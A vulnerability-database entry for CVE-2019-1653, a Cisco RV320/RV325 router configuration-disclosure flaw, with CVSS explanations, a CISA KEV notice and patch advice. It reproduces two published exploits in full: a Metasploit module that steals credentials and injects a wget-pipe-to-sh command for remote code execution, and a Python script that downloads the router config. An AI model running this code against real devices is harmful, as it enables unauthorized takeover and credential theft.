CVE-2019-1653 : Detail

CVE-2019-1653

7.5
/
High
A01-Broken Access Control
94.39%V4
Network
2019-01-24
16h00 +00:00
2024-11-12
21h21 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability

A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated, remote attacker to retrieve sensitive information. The vulnerability is due to improper access controls for URLs. An attacker could exploit this vulnerability by connecting to an affected device via HTTP or HTTPS and requesting specific URLs. A successful exploit could allow the attacker to download the router configuration or detailed diagnostic information. Cisco has released firmware updates that address this vulnerability.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2021-11-02 23h00 +00:00

Action is due : 2022-05-02 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46655

Publication date : 2019-04-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", 'Description' => %q{ This exploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions. }, 'License' => MSF_LICENSE, 'Author' => [ 'RedTeam Pentesting GmbH', # Discovery, Metasploit 'Philip Huppert', # Discovery 'Benjamin Grap' # Metasploit ], 'References' => [ [ 'CVE','2019-1653' ], [ 'CVE','2019-1652' ], [ 'EDB','46243' ], [ 'BID','106728' ], [ 'BID','106732' ], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ], [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ] ], 'Platform' => 'linux', 'Targets' => [ [ 'LINUX MIPS64', { 'Platform' => 'linux', 'Arch' => ARCH_MIPS64 } ] ], 'Payload' => { 'BadChars' => "" }, 'CmdStagerFlavor' => [ 'bourne' ], 'Privileged' => true, 'DisclosureDate' => "Sep 9 2018", 'DefaultTarget' => 0)) register_options([ Opt::RPORT(8007), # port of Cisco webinterface OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]), OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up. ]) deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option. deregister_options('SSLCert') # not required since stager only uses HTTP. end def execute_command(cmd, opts = {}) # use generated payload, we don't have to do anything here end def autofilter true end def on_request_uri(cli, req) print_status("#{peer} - Payload request received: #{req.uri}") @cmdstager = generate_cmdstager().join(';') send_response(cli, "#{@cmdstager}") end def primer payload_url = get_uri print_status("Downloading configuration from #{peer}") if(datastore['USE_SSL']) print_status("Using SSL connection to router.") end res = send_request_cgi({ 'uri' => normalize_uri("cgi-bin","config.exp"), 'SSL' => datastore['USE_SSL'] }) unless res vprint_error('Connection failed.') return nil end unless res.code == 200 vprint_error('Could not download config. Aborting.') return nil end print_status("Successfully downloaded config") username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1] pass = res.body.match(/^PASSWD=(\h+)/)[1] authkey = "1964300002" print_status("Got MD5-Hash: #{pass}") print_status("Loging in as user #{username} using password hash.") print_status("Using default auth_key #{authkey}") res2 = send_request_cgi({ 'uri' => normalize_uri("cgi-bin","userLogin.cgi"), 'SSL' => datastore['USE_SSL'], 'method' => 'POST', 'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password=" }) unless res vprint_error('Connection failed during login. Aborting.') return nil end unless res.code == 200 vprint_error('Login failed with downloaded credentials. Aborting.') return nil end #Extract authentication cookies cookies = res2.get_cookies() print_status("Successfully logged in as user #{username}.") print_status("Got cookies: #{cookies}") print_status("Sending payload. Staging via #{payload_url}.") #Build staging command command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'") if(command_string.length <= 63) print_status("Staging command length looks good. Sending exploit!") else vprint_error("Warning: Staging command length probably too long. Trying anyway...") end res3 = send_request_cgi({ 'uri' => normalize_uri("certificate_handle2.htm"), 'SSL' => datastore['USE_SSL'], 'method' => 'POST', 'cookie' => cookies, 'vars_get' => { 'type' => '4', }, 'vars_post' => { 'page' => 'self_generator.htm', 'totalRules' => '1', 'OpenVPNRules' => '30', 'submitStatus' => '1', 'log_ch' => '1', 'type' => '4', 'Country' => 'A', 'state' => 'A', 'locality' => 'A', 'organization' => 'A', 'organization_unit' => 'A', 'email' => 'any@example.com', 'KeySize' => '512', 'KeyLength' => '1024', 'valid_days' => '30', 'SelectSubject_c' => '1', 'SelectSubject_s' => '1' }, 'data' => "common_name=#{command_string}" }) unless res3 vprint_error('Connection failed while sending command. Aborting.') return nil end unless res3.code == 200 vprint_error('Sending command not successful.') return nil end print_status("Sending payload timed out. Waiting for stager to connect...") end def check #Check if device is vulnerable by downloading the config res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")}) unless res vprint_error('Connection failed.') return CheckCode::Unknown end unless res.code == 200 return CheckCode::Safe end unless res.body =~ /PASSWD/ return CheckCode::Detected end CheckCode::Vulnerable end def exploit # Main function. # Setting delay for the Stager. Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error print_status("Waiting for stager connection timed out. Try increasing the delay.") end end
Exploit Database EDB-ID : 46262

Publication date : 2019-01-27 23h00 +00:00
Author : Harom Ramos
EDB Verified : No

# Exploit Title: 6coRV Exploit # Date: 01-26-2018 # Exploit Author: Harom Ramos [Horus] # Tested on: Cisco RV300/RV320 # CVE : CVE-2019-1653 import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning from fake_useragent import UserAgent def random_headers(): return dict({'user-agent': UserAgent().random}) def request(url): r = requests.Session() try: get = r.get(url, headers = random_headers(), timeout = 5, verify=False)#, allow_redirects=False if get.status_code == 200: return get.text except requests.ConnectionError: return 'Error Conecting' except requests.Timeout: return 'Error Timeout' except KeyboardInterrupt: raise except: return 0 print("") print("##################################################") print("CISCO CVE-2019-1653 POC") print("From H. with love") print("") url = raw_input("URL> EX:http://url:port/ ") url = url + "/cgi-bin/config.exp" print(request(url))

Products Mentioned

Configuraton 0

Cisco>>Rv320_firmware >> Version 1.4.2.15

Cisco>>Rv320_firmware >> Version 1.4.2.17

Cisco>>Rv320 >> Version -

Configuraton 0

Cisco>>Rv325_firmware >> Version 1.4.2.15

Cisco>>Rv325_firmware >> Version 1.4.2.17

Cisco>>Rv325 >> Version -

References

http://www.securityfocus.com/bid/106732
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/46262/
Tags : exploit, x_refsource_EXPLOIT-DB
http://seclists.org/fulldisclosure/2019/Mar/60
Tags : mailing-list, x_refsource_FULLDISC
http://seclists.org/fulldisclosure/2019/Mar/59
Tags : mailing-list, x_refsource_FULLDISC
https://seclists.org/bugtraq/2019/Mar/54
Tags : mailing-list, x_refsource_BUGTRAQ
https://seclists.org/bugtraq/2019/Mar/53
Tags : mailing-list, x_refsource_BUGTRAQ
https://www.exploit-db.com/exploits/46655/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.